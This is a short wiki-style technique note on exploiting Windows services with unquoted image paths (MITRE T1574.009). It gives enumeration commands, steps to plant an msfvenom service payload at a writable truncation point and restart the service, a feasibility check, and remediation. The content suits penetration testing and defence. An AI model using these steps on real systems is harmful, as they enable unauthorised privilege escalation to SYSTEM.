Exploit Windows Services Using Unquoted Paths

When a Windows service’s ImagePath contains spaces but is not wrapped in quotation marks, the path resolution behavior described in unquoted-path-handling-in-windows lets an attacker plant an executable at an intermediate truncation point. When the service (re)starts, the planted binary executes with the service’s privileges — typically SYSTEM. This is MITRE ATT&CK T1574.009.

Enumeration

Find auto-start services with unquoted paths containing spaces, excluding system paths:

cmd /c wmic service get name,displayname,pathname,startmode |
	findstr /i "auto" |
	findstr /i /v "c:\windows\\" |
	findstr /i /v """

Modern PowerShell equivalent:

Get-CimInstance Win32_Service |
	Where-Object { $_.StartMode -eq 'Auto' -and
		$_.PathName -notmatch '^"' -and
		$_.PathName -match ' ' -and
		$_.PathName -notmatch '(?i)^c:\\windows\\' } |
	Select-Object Name, DisplayName, PathName

Vulnerability scanners (e.g., Nessus plugin 63155) flag the same condition remotely.

Exploitation

Suppose a service has the unquoted path:

C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

Windows will try C:\MyPrograms\Disk.exe before the real binary. If C:\MyPrograms\ is writable, drop a malicious Disk.exe there. When the service starts, it executes Disk.exe, passing Sorter and Enterprise\bin\disksrs.exe as arguments.

Generate the payload as a service-compatible binary with msfvenom (-f exe-service), then:

# Ensure the payload is executable by the service account
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
 
# Restart the service
sc.exe stop $SERVICE_NAME
sc.exe start $SERVICE_NAME

If the service can’t be stopped but is set to auto-start, forcing a reboot will trigger the payload on startup. This is noisy and should be a last resort.

Exploitability check

Before investing time, verify that a truncation directory is actually writable. Standard locations (C:\, C:\Program Files\) require administrator rights to write to by default — an “unquoted path” finding there is not a real privilege escalation, since the attack would presuppose the privileges it claims to gain. Genuine findings usually involve third-party directories with permissive ACLs.

Remediation

• Quote every service ImagePath containing spaces (edit the registry value under HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>)
• Audit directory ACLs along service paths for non-administrative write access
• Alert on new executables appearing in truncation-point directories

Sources

• Hijack Execution Flow: Path Interception by Unquoted Path, Sub-technique T1574.009 - Enterprise | MITRE ATT&CK®
• Microsoft Windows Unquoted Service Path Enumeration | Tenable®
• 2024 — Unquoted service paths: The new frontier in script kiddie security vulnerability reports - The Old New Thing

See also

• unquoted-path-handling-in-windows
• exploit-windows-services
• exploit-service-all-access
• windows-services